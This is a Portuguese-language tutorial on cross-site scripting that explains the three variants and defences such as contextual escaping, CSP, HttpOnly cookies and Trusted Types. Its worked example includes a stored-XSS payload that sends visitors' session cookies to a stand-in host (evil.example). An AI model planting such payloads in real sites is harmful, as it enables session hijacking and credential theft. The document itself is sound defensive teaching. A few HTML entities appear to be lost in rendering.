XSS

XSS (Cross-Site Scripting — o X é um erro de digitação histórico que ficou) é um ataque de injeção onde JavaScript controlado pelo invasor é executado no navegador de uma vítima no contexto de um site confiável. Três variantes:

• XSS refletido — o invasor cria uma URL contendo JavaScript; a vítima clica; o site ecoa o parâmetro da URL de volta sem escape e o script é executado. Exemplo: ?search=<script>evil()</script>.
• XSS armazenado — o invasor envia conteúdo malicioso (um comentário, uma biografia de perfil) que o site armazena e depois renderiza sem escape para outros usuários. Pior do que o refletido porque dispara automaticamente para cada visitante.
• XSS baseado no DOM — o script é executado puramente no cliente, com o conteúdo malicioso nunca tocando o servidor. Frequentemente via document.write, innerHTML ou tratamento inseguro de fragmentos de URL.

Defesas: codificação de saída contextual (escape HTML na renderização, escape JS dentro de blocos de script, codificação URL para href). Cabeçalhos de Política de Segurança de Conteúdo (CSP) como defesa em profundidade. Motores de templates que escapam automaticamente (Jinja, ERB, React JSX) eliminam a maioria dos XSS refletido e armazenado por padrão.

O XSS permanece no OWASP Top 10 não porque a correção seja difícil, mas porque é fácil contornar o escape automático com escapes de estilo dangerouslySetInnerHTML e um lugar esquecido arruína toda a defesa.

A sensibilidade ao contexto que ninguém respeita: escape HTML (< para <) é correto para inserir conteúdo do usuário em texto do corpo HTML. Está errado em todos os outros lugares. Dentro de um bloco <script>, você precisa de escape de string JavaScript. Dentro de um atributo href=, você precisa de codificação URL mais um bloqueio de esquema javascript:. Dentro de um CSS style=, você precisa de um escape diferente que elimine expressões CSS. Dentro de um atributo de manipulador de eventos (onclick=), você precisa de escape HTML e escape JS aninhados. Motores de template que “apenas escapam tudo em HTML” silenciosamente perdem contextos de atributo, URL e manipulador de eventos — o DOMPurify ou uma biblioteca sensível ao contexto trata o conjunto completo.

Trusted Types — a defesa moderna liderada pelo Chrome: Trusted Types (Rascunho de Trabalho W3C, lançado no Chrome desde a versão 83) é uma API de navegador que recusa aceitar strings brutas em sinks de injeção como innerHTML, document.write ou setAttribute. O código deve marcar explicitamente um valor como “confiável” por meio de um sanitizador, ou a atribuição lança um TypeError. Habilitado via Content-Security-Policy: require-trusted-types-for 'script', isso efetivamente torna cada sink potencial de XSS um erro em tempo de compilação em vez de uma vulnerabilidade em tempo de execução. A adoção ainda é gradual, mas a trajetória de segurança dos novos frameworks web está claramente caminhando para compatibilidade com Trusted Types. Referência: OWASP — Cross-site Scripting (XSS).

Exemplo prático

Um blog aceita um comentário e renderiza <div>{comment}</div> no lado do servidor sem escape. O invasor envia <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Cada visitante subsequente carrega a página, o script é executado na origem do blog e o cookie de sessão deles é exfiltrado. Mitigação em três camadas: (1) escape HTML do comentário na renderização para que < se torne < — o script é renderizado como texto literal. (2) Defina o cookie com HttpOnly; Secure; SameSite=Strict para que mesmo que o XSS seja bem-sucedido, o cookie não seja acessível pelo JavaScript. (3) Implante um CSP estrito: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — scripts inline sem o nonce correspondente são bloqueados, de modo que uma tag <script> injetada não pode ser executada mesmo se o escape falhar. Defesa em profundidade: qualquer camada individual teria parado o ataque; juntas, tornam a classe de bugs quase extinta.

Quando e por que isso importa

XSS é a vulnerabilidade de trabalho de roubo de credenciais, sequestro de sessão e tomada de controle com um clique. A violação da British Airways de 2018 (380.000 detalhes de cartão exfiltrados), a violação da Ticketmaster de 2018 e a série de longa duração Magecart começaram como variantes de XSS ou injeção de script da cadeia de suprimentos. A boa notícia é que os frameworks modernos (React, Vue, Angular, Svelte) escapam automaticamente os valores interpolados por padrão — a classe de bugs é muito mais rara em código novo do que era há uma década. A má notícia é que cada framework fornece uma saída de emergência (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}) para a qual um desenvolvedor cansado inevitavelmente recorre, muitas vezes para injetar conteúdo de CMS ou widgets de terceiros. O manual defensivo: habilite CSP com nonces ou hashes, defina HttpOnly em cookies de sessão, use DOMPurify para qualquer caso em que você deva aceitar HTML e audite os resultados de grep para as APIs de saída de emergência do framework no momento do PR. Referência: OWASP XSS Prevention Cheat Sheet.